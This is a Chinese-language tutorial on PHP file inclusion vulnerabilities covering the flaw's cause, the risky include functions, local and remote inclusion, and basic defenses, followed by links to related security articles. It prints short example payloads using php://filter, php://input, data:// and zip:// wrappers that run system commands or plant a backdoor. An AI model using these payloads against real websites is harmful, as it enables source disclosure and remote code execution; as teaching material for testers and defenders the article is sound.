文件包含漏洞原理/利用方式/应对方案

简介: 原理用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行

原理

用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行


触发点/检测

文件包含漏洞的检测需要配合代码审计,重点在文件包含的函数


include()

require()

include_once()

require_once()

f_open()

f_read()

利用方式

文件包含漏洞可分为 本地文件包含(LFI) 和 远程文件包含 两种


本地文件包含可以遍历目录,造成信息泄露


远程文件包含可以执行任意命令,获取WebShell,需要PHP开启url包含功能( allow_url_include ),PHP5.2以前默认是开启 , 5.2以后就默认关闭了


防御

针对远程文件包含可关闭url包含功能( php.ini文件中 allow_url_include=off )


针对本地文件包含可以设置白名单,过滤危险字符(比如.和/)


伪协议

文件包含漏洞可以配合伪协议使用


php协议读取文件源码或者任意代码执行

data协议任意代码执行

zip协议配合文件上传开启后门

php://filter 读取文件源码

?url=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input 任意代码执行

1. ?url=php://input       -- GET请求参数中使用php://input协议
2. <?php system('ls'); ?>     -- post请求体中的内容会被当做文件内容执行

data://text/plain 任意代码执行

?url=data://text/plain,<?php system('ls') ?>

zip:// 配合文件上传开启后门

?url=zip://shell.jpg
相关文章
|
7月前
|
安全 Java 程序员
Web安全性测试系列(三)文件上传漏洞核心原理详解
Web安全性测试系列(三)文件上传漏洞核心原理详解
|
6月前
|
云安全 安全 Linux
网站服务器怎么做防御?遇到攻击如何解决?
如今黑客攻击越来越多也十分猖獗,我们应如何防护呢?
45 0
|
6月前
|
存储 设计模式 安全
渗透攻击实例-设计缺陷/逻辑错误
渗透攻击实例-设计缺陷/逻辑错误
|
9月前
|
监控 安全 网络安全
Shellcode免杀技术的探索与应对策略
Shellcode免杀技术的探索与应对策略
97 0
|
存储 缓存 监控
冰桶算法在监控软件中的特殊用途
冰桶算法还可以帮助软件性能监控,通过缓存中的数据来统计软件运行的各项指标,如响应时间、并发数、请求量等,从而帮助开发人员进行性能优化
259 0
|
存储 SQL 安全
如何应对PHP应用的安全问题?如何处理安全漏洞?底层原理是什么?
如何应对PHP应用的安全问题?如何处理安全漏洞?底层原理是什么?
115 0
|
存储 缓存 监控
转:冰桶算法在监控软件中有哪些用途
冰桶算法还可以帮助软件性能监控,通过缓存中的数据来统计软件运行的各项指标,如响应时间、并发数、请求量等,从而帮助开发人员进行性能优化。
293 0
|
SQL JSON 安全
常见漏洞的应对方式(一)
常见漏洞的应对方式(一)
|
Java
[恶意代码分析]恶意代码种类以及分析环境介绍
[恶意代码分析]恶意代码种类以及分析环境介绍
366 1
[恶意代码分析]恶意代码种类以及分析环境介绍